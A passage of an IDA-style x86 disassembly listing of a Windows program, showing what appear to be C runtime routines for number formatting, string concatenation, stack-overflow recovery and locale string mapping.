loc_419817:				; CODE XREF: sub_4197E3+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419817
		cmp	[eax], bl
		jnz	short loc_419822
		dec	eax


loc_419822:				; CODE XREF: sub_4197E3+3Cj
					; sub_4197E3+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_419822


loc_41982C:				; CODE XREF: sub_4197E3+1Dj
		pop	ebx
		retn
sub_4197E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41982E	proc near		; DATA XREF: sub_414EC5+28o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_429060
		fnstsw	ax
		test	ah, 1
		jnz	short loc_419845
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419845:				; CODE XREF: sub_41982E+11j
		xor	eax, eax
		retn
sub_41982E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419848	proc near		; DATA XREF: sub_414EC5+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_419871
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DBBD
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419871:				; CODE XREF: sub_419848+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41DC00
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_419848	endp


; =============== S U B	R O U T	I N E =======================================



sub_419886	proc near		; CODE XREF: sub_4198A3+23p
					; sub_4199C5+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_4198A1
		push	esi
		call	sub_4179C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D220
		add	esp, 10h


loc_4198A1:				; CODE XREF: sub_419886+5j
		pop	esi
		retn
sub_419886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198A3	proc near		; CODE XREF: sub_419951+5Bp
					; sub_419AC9+88p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_4198CC
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_419886
		pop	edi


loc_4198CC:				; CODE XREF: sub_4198A3+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_4198D9
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]


loc_4198D9:				; CODE XREF: sub_4198A3+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_4198F0
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_42E0F8
		mov	[eax], cl


loc_4198F0:				; CODE XREF: sub_4198A3+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_429068
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_419C40
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_419915
		mov	byte ptr [ecx],	45h


loc_419915:				; CODE XREF: sub_4198A3+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41994C
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_419929
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_419929:				; CODE XREF: sub_4198A3+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_419939
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_419939:				; CODE XREF: sub_4198A3+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_419949
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_419949:				; CODE XREF: sub_4198A3+9Aj
		add	[ecx+1], al


loc_41994C:				; CODE XREF: sub_4198A3+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_4198A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419951	proc near		; CODE XREF: sub_419B69+47p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41DD74
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		mov	edx, ebx
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DC43
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	esi
		call	sub_4198A3
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_419951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199C5	proc near		; CODE XREF: sub_419A61+4Fp
					; sub_419AC9+75p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_4199F2
		cmp	eax, [ebp+arg_4]
		jnz	short loc_4199F2
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_4199F2:				; CODE XREF: sub_4199C5+10j
					; sub_4199C5+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_4199FE
		mov	byte ptr [ebx],	2Dh
		inc	ebx


loc_4199FE:				; CODE XREF: sub_4199C5+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_419A15
		mov	eax, ebx
		call	sub_419886
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_419A17
; ---------------------------------------------------------------------------


loc_419A15:				; CODE XREF: sub_4199C5+41j
		add	ebx, eax


loc_419A17:				; CODE XREF: sub_4199C5+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_419A59
		mov	eax, ebx
		call	sub_419886
		mov	al, byte_42E0F8
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_419A59
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_419A40
		cmp	[ebp+arg_4], esi
		jl	short loc_419A43


loc_419A40:				; CODE XREF: sub_4199C5+74j
		mov	[ebp+arg_4], esi


loc_419A43:				; CODE XREF: sub_4199C5+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_419886
		push	edi
		push	30h
		push	ebx
		call	sub_41C550
		add	esp, 0Ch


loc_419A59:				; CODE XREF: sub_4199C5+56j
					; sub_4199C5+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A61	proc near		; CODE XREF: sub_419B69+1Ep

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41DD74
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41DC43
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_4199C5
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		call	sub_41A1F6
		leave
		retn
sub_419A61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AC9	proc near		; CODE XREF: sub_419B69+34p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41DD74
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		dec	esi
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edi
		call	sub_41DC43
		mov	eax, [ebp+var_10]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_419B45
		cmp	eax, ebx
		jge	short loc_419B45
		test	cl, cl
		jz	short loc_419B35


loc_419B2B:				; CODE XREF: sub_419AC9+67j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_419B2B
		and	[edi-2], al


loc_419B35:				; CODE XREF: sub_419AC9+60j
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_4199C5
		jmp	short loc_419B56
; ---------------------------------------------------------------------------


loc_419B45:				; CODE XREF: sub_419AC9+58j
					; sub_419AC9+5Cj
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_4198A3


loc_419B56:				; CODE XREF: sub_419AC9+7Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_419AC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B69	proc near		; DATA XREF: sub_414EC5o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_419BA4
		cmp	[ebp+arg_8], 45h
		jz	short loc_419BA4
		cmp	[ebp+arg_8], 66h
		jnz	short loc_419B91
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419A61
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419B91:				; CODE XREF: sub_419B69+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AC9
		jmp	short loc_419BB5
; ---------------------------------------------------------------------------


loc_419BA4:				; CODE XREF: sub_419B69+7j
					; sub_419B69+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419951


loc_419BB5:				; CODE XREF: sub_419B69+39j
		add	esp, 10h
		pop	ebp
		retn
sub_419B69	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_414EFD+Fp
		push	30000h
		push	10000h
		call	sub_41DF41
		pop	ecx
		pop	ecx
		retn
sub_419BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BCC	proc near		; CODE XREF: sub_419C0C:loc_419C30j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_429080
		fstp	[ebp+var_8]
		fld	ds:dbl_429078
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_429070
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_419C08
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C08:				; CODE XREF: sub_419BCC+35j
		xor	eax, eax
		leave
		retn
sub_419BCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C0C	proc near		; CODE XREF: sub_414EFD+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_4200A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_419C30
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_420084	; GetProcAddress
		test	eax, eax
		jz	short loc_419C30
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_419C30:				; CODE XREF: sub_419C0C+Dj
					; sub_419C0C+1Dj
		jmp	sub_419BCC
sub_419C0C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419C40	proc near		; CODE XREF: sub_415136+F5p
					; sub_4198A3+60p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_419CB5
sub_419C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419C50	proc near		; CODE XREF: sub_41B5C9+10Bp
					; sub_41B5C9+116p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_419C70


loc_419C5D:				; CODE XREF: sub_419C50+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_419CA3
		test	ecx, 3
		jnz	short loc_419C5D
		mov	edi, edi


loc_419C70:				; CODE XREF: sub_419C50+Bj
					; sub_419C50+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_419C70
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_419CB2
		test	ah, ah
		jz	short loc_419CAD
		test	eax, 0FF0000h
		jz	short loc_419CA8
		test	eax, 0FF000000h
		jz	short loc_419CA3
		jmp	short loc_419C70
; ---------------------------------------------------------------------------


loc_419CA3:				; CODE XREF: sub_419C50+14j
					; sub_419C50+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_419CB5
; ---------------------------------------------------------------------------


loc_419CA8:				; CODE XREF: sub_419C50+48j
		lea	edi, [ecx-2]
		jmp	short loc_419CB5
; ---------------------------------------------------------------------------


loc_419CAD:				; CODE XREF: sub_419C50+41j
		lea	edi, [ecx-3]
		jmp	short loc_419CB5
; ---------------------------------------------------------------------------


loc_419CB2:				; CODE XREF: sub_419C50+3Dj
		lea	edi, [ecx-4]


loc_419CB5:				; CODE XREF: sub_419C40+5j
					; sub_419C50+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_419CDE


loc_419CC1:				; CODE XREF: sub_419C50+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_419D30
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_419CC1
		jmp	short loc_419CDE
; ---------------------------------------------------------------------------


loc_419CD9:				; CODE XREF: sub_419C50+A6j
					; sub_419C50+C0j
		mov	[edi], edx
		add	edi, 4


loc_419CDE:				; CODE XREF: sub_419C50+6Fj
					; sub_419C50+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_419CD9
		test	dl, dl
		jz	short loc_419D30
		test	dh, dh
		jz	short loc_419D27
		test	edx, 0FF0000h
		jz	short loc_419D1A
		test	edx, 0FF000000h
		jz	short loc_419D12
		jmp	short loc_419CD9
; ---------------------------------------------------------------------------


loc_419D12:				; CODE XREF: sub_419C50+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419D1A:				; CODE XREF: sub_419C50+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419D27:				; CODE XREF: sub_419C50+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419D30:				; CODE XREF: sub_419C50+78j
					; sub_419C50+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_419C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D38	proc near		; CODE XREF: sub_415136+A5p
					; sub_416F0B+4DCp ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_414800
		mov	ebx, esp
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_42019C	; VirtualQuery
		test	eax, eax
		jz	short loc_419DCD
		mov	edi, [ebp+var_20]
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_420074	; GetSystemInfo
		mov	eax, [ebp+var_44]
		lea	esi, [eax-1]
		not	esi
		and	esi, ebx
		sub	esi, eax
		mov	[ebp+var_4], eax
		mov	eax, dword_47C1A4
		mov	ecx, eax
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFF1000h
		add	ecx, 11000h
		add	ecx, edi
		cmp	esi, ecx
		jb	short loc_419DCD
		cmp	eax, 1
		jz	short loc_419DE5
		mov	ebx, edi
		mov	edi, 1000h


loc_419DA2:				; CODE XREF: sub_419D38+81j
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_42019C	; VirtualQuery
		test	eax, eax
		jz	short loc_419DCD
		add	ebx, [ebp+var_18]
		test	[ebp+var_14], edi
		jz	short loc_419DA2
		test	[ebp+var_F], 1
		mov	ebx, [ebp+var_24]
		jz	short loc_419DC9
		xor	eax, eax
		inc	eax
		jmp	short loc_419E01
; ---------------------------------------------------------------------------


loc_419DC9:				; CODE XREF: sub_419D38+8Aj
		cmp	esi, ebx
		jnb	short loc_419DD1


loc_419DCD:				; CODE XREF: sub_419D38+22j
					; sub_419D38+5Cj ...
		xor	eax, eax
		jmp	short loc_419E01
; ---------------------------------------------------------------------------


loc_419DD1:				; CODE XREF: sub_419D38+93j
		push	4
		push	edi
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_420190	; VirtualAlloc
		mov	eax, dword_47C1A4
		jmp	short loc_419DE7
; ---------------------------------------------------------------------------


loc_419DE5:				; CODE XREF: sub_419D38+61j
		mov	ebx, esi


loc_419DE7:				; CODE XREF: sub_419D38+ABj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_8]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_420198	; VirtualProtect


loc_419E01:				; CODE XREF: sub_419D38+8Fj
					; sub_419D38+97j
		lea	esp, [ebp-54h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E09	proc near		; CODE XREF: sub_415136+6Fp
					; sub_415136+E5p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_4290B8
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_47C360, ebx
		jnz	short loc_419E57
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_4290B0
		push	100h
		push	ebx
		call	ds:dword_4201A4	; LCMapStringW
		test	eax, eax
		jz	short loc_419E42
		mov	dword_47C360, esi
		jmp	short loc_419E57
; ---------------------------------------------------------------------------


loc_419E42:				; CODE XREF: sub_419E09+2Fj
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_419E57
		mov	dword_47C360, 2


loc_419E57:				; CODE XREF: sub_419E09+14j
					; sub_419E09+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_419E77
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_419E62:				; CODE XREF: sub_419E09+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_419E6F
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_419E62
		or	ecx, 0FFFFFFFFh


loc_419E6F:				; CODE XREF: sub_419E09+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_419E77:				; CODE XREF: sub_419E09+51j
		mov	eax, dword_47C360
		cmp	eax, 2
		jz	loc_41A061
		cmp	eax, ebx
		jz	loc_41A061
		cmp	eax, 1
		jnz	loc_41A094
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_419EAE
		mov	eax, dword_47C4D0
		mov	[ebp+arg_18], eax


loc_419EAE:				; CODE XREF: sub_419E09+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4200D4	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	loc_41A094
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_419F1A
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_419F1A:				; CODE XREF: sub_419E09+F4j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_419F3B
		lea	eax, [esi+esi]
		push	eax
		call	sub_414E7D
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	loc_41A094
		mov	[ebp+var_20], 1


loc_419F3B:				; CODE XREF: sub_419E09+114j
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4200D4	; MultiByteToWideChar
		test	eax, eax
		jz	loc_41A03E
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A4	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	loc_41A03E
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_419FAA
		cmp	[ebp+arg_14], ebx
		jz	loc_41A03E
		cmp	edi, [ebp+arg_14]
		jg	loc_41A03E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A4	; LCMapStringW
		jmp	loc_41A03E
; ---------------------------------------------------------------------------


loc_419FAA:				; CODE XREF: sub_419E09+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_419FE8
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_419FE8:				; CODE XREF: sub_419E09+1C2j
		cmp	[ebp+var_30], ebx
		jnz	short loc_41A005
		lea	eax, [edi+edi]
		push	eax
		call	sub_414E7D
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, ebx
		jz	short loc_41A03E
		mov	[ebp+var_24], 1


loc_41A005:				; CODE XREF: sub_419E09+1E2j
		push	edi
		push	[ebp+var_30]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A4	; LCMapStringW
		test	eax, eax
		jz	short loc_41A03E
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41A028
		push	ebx
		push	ebx
		jmp	short loc_41A02E
; ---------------------------------------------------------------------------


loc_41A028:				; CODE XREF: sub_419E09+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41A02E:				; CODE XREF: sub_419E09+21Dj
		push	edi
		push	[ebp+var_30]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_4200D8	; WideCharToMultiByte
		mov	edi, eax


loc_41A03E:				; CODE XREF: sub_419E09+149j
					; sub_419E09+168j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_41A04C
		push	[ebp+var_30]
		call	sub_414A14
		pop	ecx


loc_41A04C:				; CODE XREF: sub_419E09+238j
		cmp	[ebp+var_20], ebx
		jz	short loc_41A05A
		push	[ebp+var_2C]
		call	sub_414A14
		pop	ecx


loc_41A05A:				; CODE XREF: sub_419E09+246j
		mov	eax, edi
		jmp	loc_41A1BC
; ---------------------------------------------------------------------------


loc_41A061:				; CODE XREF: sub_419E09+76j
					; sub_419E09+7Ej
		mov	[ebp+var_34], ebx
		xor	edi, edi
		mov	[ebp+var_38], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41A076
		mov	eax, dword_47C4C0
		mov	[ebp+arg_0], eax


loc_41A076:				; CODE XREF: sub_419E09+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41A083
		mov	eax, dword_47C4D0
		mov	[ebp+arg_18], eax


loc_41A083:				; CODE XREF: sub_419E09+270j
		push	[ebp+arg_0]
		call	sub_41DF57
		pop	ecx
		mov	[ebp+var_3C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A09B


loc_41A094:				; CODE XREF: sub_419E09+87j
					; sub_419E09+CDj ...
		xor	eax, eax
